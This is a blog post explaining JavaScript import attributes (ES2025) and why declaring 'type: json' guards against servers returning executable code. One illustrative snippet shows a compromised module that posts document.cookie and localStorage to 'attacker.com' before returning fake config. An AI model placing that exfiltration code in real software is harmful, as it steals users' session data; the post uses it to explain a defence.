---
title: "JavaScript Import Attributes (ES2025)"
description: "Understanding the new import attributes syntax and why we can't rely on file extensions alone"
canonical: "https://www.trevorlasn.com/blog/import-attributes-in-javascript"
author: "Trevor I. Lasn"
published: "2024-11-10"
last-updated: "2026-02-15"
topics: ["JavaScript"]
---

# JavaScript Import Attributes (ES2025)

Understanding the new import attributes syntax and why we can't rely on file extensions alone

By Trevor I. Lasn · Published 2024-11-10 · Updated 2026-02-15 · https://www.trevorlasn.com/blog/import-attributes-in-javascript

[Browser support for `json-modules` on webstatus.dev](https://webstatus.dev/features/json-modules)

JavaScript now has a feature that makes module imports more explicit and secure. [Import Attributes](https://tc39.es/proposal-import-attributes/) (part of ES2025) add a way to pass metadata about any module we're importing, primarily used today for JSON and CSS modules.

<div
  class="flex items-center text-sm pl-4 pr-2 mb-5 mt-5 text-indigo-700 rounded-lg bg-surface dark:text-indigo-300"
  role="note"
>
  <svg 
    class="flex-shrink-0 inline w-4 h-4 me-3" 
    aria-hidden="true"
    xmlns="http://www.w3.org/2000/svg"
    fill="none"
    viewBox="0 0 24 24"
    stroke="currentColor"
    stroke-width="2"
  >
    <path d="M10 6H6a2 2 0 00-2 2v10a2 2 0 002 2h10a2 2 0 002-2v-4M14 4h6m0 0v6m0-6L10 14" />
  </svg>
  <div>
    <a href="https://github.com/tc39/proposals/blob/main/finished-proposals.md"
        target="_blank"
        rel="noopener"
        class="font-medium text-md mb-1 text-indigo-700 dark:text-indigo-300 "
      >
      Import Attributes: TC39 Finished Proposals
    </a>
  </div>
</div>

### The Core Problem

On the web, file extensions don't reliably indicate content. A server might return JavaScript when you're expecting JSON:

```js title="JavaScript"
// This looks safe, but could be dangerous
import config from './config.json';

// The server could respond with executable code:
export default (function(){
  // Unexpected code execution
})();
```

<br />

### The Solution: Import Attributes

Import Attributes create a contract between your code and the runtime. You explicitly declare what type of module you expect:

```js title="JavaScript"
// Explicitly require JSON
import config from './config.json' with { type: "json" };

// Works with CSS modules too
import styles from './theme.css' with { type: "css" };

// Works with dynamic imports too
const data = await import('./config.json', {
  with: { type: "json" }
});
```

The syntax works consistently across different module contexts:

```js title="JavaScript"
// Re-exporting with attributes
export { data } from './data.json' with { type: "json" };

// CSS module import
import sheet from './styles.css' with { type: "css" };
document.adoptedStyleSheets = [sheet];
```

<br />
### Why Import Attributes?

The core problem is security. On the web, file extensions don't reliably indicate content. A URL ending in `.json` might actually serve JavaScript:

```js title="JavaScript"
// Loading API configuration
import apiConfig from './api-config.json';

// What you expect to get:
{
  "apiKey": "secret-key",
  "endpoint": "https://api.example.com",
  "timeout": 5000
}

// What a compromised server could send instead:
export default (function(){
  // Send your API keys to an attacker
  fetch('https://attacker.com', {
    method: 'POST',
    body: JSON.stringify({
      cookies: document.cookie,
      localStorage: window.localStorage
    })
  });
  
  // Then return what looks like normal config
  return {
    apiKey: "secret-key",
    endpoint: "https://api.example.com",
    timeout: 5000
  }
})();
```

Import Attributes make our module system more explicit and secure. JSON modules can't execute code - they're pure data. When you mark a module with `type: "json"`, you're guaranteed to get either JSON data or an error, never executable code.

The most immediate impact is on JSON imports, where security is crucial:
```js title="JavaScript"
// Configuration files
import config from './config.json' with { type: "json" };

// Dynamic configuration
const config = await import(
  `./config.${env}.json`,
  { with: { type: "json" }}
);
```

This feature creates a foundation for safely handling different module types in JavaScript. As part of ES2025, we now have a standard way to declare our expectations about modules across all JavaScript environments. Currently, `"json"` and `"css"` are the standardized type values supported by browsers.

Think of it as adding type safety to your module imports - not for the data inside the modules, but for the modules themselves.

### Sources

- [https://tc39.es/proposal-import-attributes/](https://tc39.es/proposal-import-attributes/)
- [https://github.com/tc39/proposal-import-attributes](https://github.com/tc39/proposal-import-attributes)
